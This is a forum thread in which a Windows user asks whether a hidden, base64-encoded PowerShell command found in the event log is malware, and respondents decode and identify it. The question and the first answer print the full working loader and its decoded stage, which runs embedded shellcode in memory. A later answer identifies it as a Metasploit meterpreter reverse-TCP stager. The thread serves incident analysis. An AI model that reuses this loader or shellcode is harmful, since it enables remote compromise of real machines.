Is this powershell script an infection?

Question

While I was sitting in front of the computer not using it,my Windows 10 machine quickly flashed a few terminal windows, and then gave me a Windows Security popup, asking for my password.

I have no idea what this is for, so I did a little poking around in the file explorer and the Event log, and found a whole series of entries for PowerShell with the following data:

HostApplication=powershell.exe -nop -w hidden -c $s=New-Object IO.MemoryStream(,
[Convert]::FromBase64String(
'H4sIAEy98VUCA7VWbW+bSBD+nEr9D6iyBKiOjRO3TSNVOsAQ4zOOKTaO7VonDAusvbwE1rFxr//9BhsS99pU6UmHkNiXmZ1nnpnZwdtEDsVxxNALfcV8ff3qbGindshwtcBKrSvpwpus6kxt793eJ8Mr/uwMJGphL8qzeGcO75hPDDcXk6QThzaOFtfX8iZNUUSP88YNomKWoXBJMMo4nvmbmQQoRee3yxVyKPOVqf3VuCHx0ialWC7bToCYczFyi71+7NgFuoaZEEw59ssXlp+ftxYN5X5jk4xjzTyjKGy4hLA8840vDI7yBHGsjp00zmKPNiY4urxojKPM9tAATntAOqJB7GYsD77AmyK6SSPmxKvimKMQx8JwmMaO6LopykCnoUUP8RpxtWhDSJ35g5uXGD5vIopDBPsUpXFiovQBOyhrdO3IJegz8hbcAG0r11+qxJ0qgdSQpnwdovMsWD12NwQd9Vn+R7gnceXhOYkt0PHt9avXr7wqJVatm6uHbTb0T/MCRmfzwxgBZG4YZ/gg/IkR6owOZm0apzlMa6N0g/gFMy8CMl8smFqWZn/11frzJ7QqcRAmIz1Z9S/1Yn1uxdhdgF4ZsdpSSO6L9eczr4M8HKFOHtkhdqrk4n4WAeQRdPC3UYkNABnHlhvI7SCCfJsWbNaZ+Y9qSojpo660wcRFqehAFDNABQHmvwdzDBDHapGOQqDqOGchEB6kNKqkyzTOK+vFHIRYmdhZVmeGG6gpp86YyCbIrTNilOFyS9zQ+DBkn+DqG0KxY2e0Om7BVzyW9uQ4ymi6cSB64PvITJCDbVJQUWe62EVSbmK/ssv+lAjZJgRHPpz0AIGAlYIAkxY5kQLEMv58w0RUCxOCQpA6lLdKbB+KuSyGQxrZPnLZf2Os0vyY0wUbFQ0nCCHEJolpnbFwSuGWKJh9TKb/iuLkmjjgkVNUxoSrymYu5bTI89rWv729JEV6lhQdCEkpkKGmcSjZGXrfNmkKVHFvmgruvBt24r0Ij6J+NizJHFszTXd7xNSoOVVwfxwEGm5pPszzseIPqZD8ORp1e2anK6adXeCJWqYpXSk3WpLodPEHqyeNx6CH5b6x2mmiK4X+nT+Vt9owuNPAkNz3NR++khY4kjATfElQ5b4pBQoWRN80uka7NdOaV0TCe1Mzxe7k0d6jHaXd7t7tRuJA74mBeuuqrQv1oL8u9Gfrm35HOcydYm5MMwUrYEdRp4YVoImVSBNFnRlWovlvt75h9ZttNZBgXcO7fmI24Wm1eg+Ru9fJ1V4HuIY162E003yU+6IhiuY0IuZyK4M/PTnzkaKoY1hbj7RoZywT3c2n3eZHS8coiUVDEUWVQHmGor3tNFuTWDWsd8ZYEXb5WNhtlVVzq+Dedl1+xzfv3/tNrz1sWqYWde1AArx5r73GvbewF9qWMPWaVsFfR4ma++iO2EO5FZNlszXGnQ+SpGHUG+gOuZfAZzjjnbGM5Qsn8ACT5l8Z/t06WH0ME/CLxKJ0iH8hlwPPPcA/TdQhKWSxM+hhxy3O6mEPznWBIw988fuzXAWaxr60Ffxkt8bqx+guMLxm9KbIWkjb2n7dIuH+JBufazm6nWaBTSBLoYtU14Qap2rZDoYxLjQ47vCnsEZphAg0Vmi9VaWJhMRO0Z2eGge0x2PTWsCNMYbh5cVPRzzzKMg/Na1q6fp6BlChdo+l1eijyKdBXdhdCgJ0HWHXFsDdlzsox0nOlYfVi75VsvRkgRws8EVd12I16d5Mwo7+/5JYXikBfNwXkfi09ovdFxEr1CsCftj4fuG3WP5tBiY2piBpwsVI0LFL/4KIMnFOfnEeAwWZ4ZVP8c95u6HnA/j9+QfZGsmx7AoAAA=='
));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,
[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

The base64 string decodes to one starting with a valid gzip header (hex 1F 8B 08 ...) I tried unzipping that on my Mac, but ran into an error.

Does anyone have an idea what this is, and is there any chance it is legitimate?

Update : The infected machine is a Win 10 host running in VirtualBox on Mac. Is there any chance the Mac host can be infected? I am assuming that this is something that virtualization prevents, but exploits are always evolving...

Answer 1

Posting this in an answer, because it's too big for a comment: I don't know what it does (though it does look sketchy) but here's the expansion. It's a PS script itself, of course:

function t2Mj {
    Param ($hVrV8B2fWj, $zfOqpP8)                
    $mJnysoxSPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $mJnysoxSPX.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($mJnysoxSPX.GetMethod('GetModuleHandle')).Invoke($null, @($hVrV8B2fWj)))), $zfOqpP8))
}

function j1G8vwsPg {
    Param (
            [Parameter(Position = 0, Mandatory = $True)] [Type[]] $srs_LF,
            [Parameter(Position = 1)] [Type] $lTMpjL3Mn = [Void]
    )

    $b0pq = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $b0pq.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $srs_LF).SetImplementationFlags('Runtime, Managed')
    $b0pq.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $lTMpjL3Mn, $srs_LF).SetImplementationFlags('Runtime, Managed')

    return $b0pq.CreateType()
}

[Byte[]]$wgOO3l = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAACJCsgeEEFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoFQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXkhj9mpAQVloABAAAEFYSInySDHJQbpYpFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/n")

$zk1lmz = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll VirtualAlloc), (j1G8vwsPg @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wgOO3l.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($wgOO3l, 0, $zk1lmz, $wgOO3l.length)

$oFpHGWmDM = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll CreateThread), (j1G8vwsPg @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$zk1lmz,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((t2Mj kernel32.dll WaitForSingleObject), (j1G8vwsPg @([IntPtr], [Int32]))).Invoke($oFpHGWmDM,0xffffffff) | Out-Null

Definitely looks questionable. I don't recognize it, though.

Answer 2

It decompresses just fine for me... I converted the Base64 string into binary, then ran gunzip on it (I am using a Linux system here). This results in another piece of PowerShell that does things which can only be considered as definitely fishy. It contains a piece of 450 bytes, that it loads into (native) RAM, and runs as code. I am way too lazy to disassemble the piece of code, but I feel pretty safe when I say that this piece of code is not safe at all.

Looks likes there is some malware in your machine, that tries to gain some privileges. It's time for some nuking, I'd say.

Answer 3

I had a machine with two similar registry entries.

I tried the following scanners to see if they would pick up the dodgy script in the registry and none of these picked them up at time of writing: AVG, Kapersky tdsskiller, rKill, Malwarebytes, hitmanpro, Zemana Antimalware, adware cleaner, Junkware Removal Tool, Emisoft, Hijackthis, UsbFix, CCleaner and Smadav.

The ones I haven't tried yet are RogueKiller and Symantec's scanner, both of these had articles or mentions of this "Powerworm" or powershell kind of behaviour. Eitherway, it's a very clever way to hide malware on the machine as most scanners are just missing this method of hiding in the registry.

Answer 4

This is metasploit meterpreter shell trying a reverse tcp, basically injecting a service (dll) into a process and getting shell.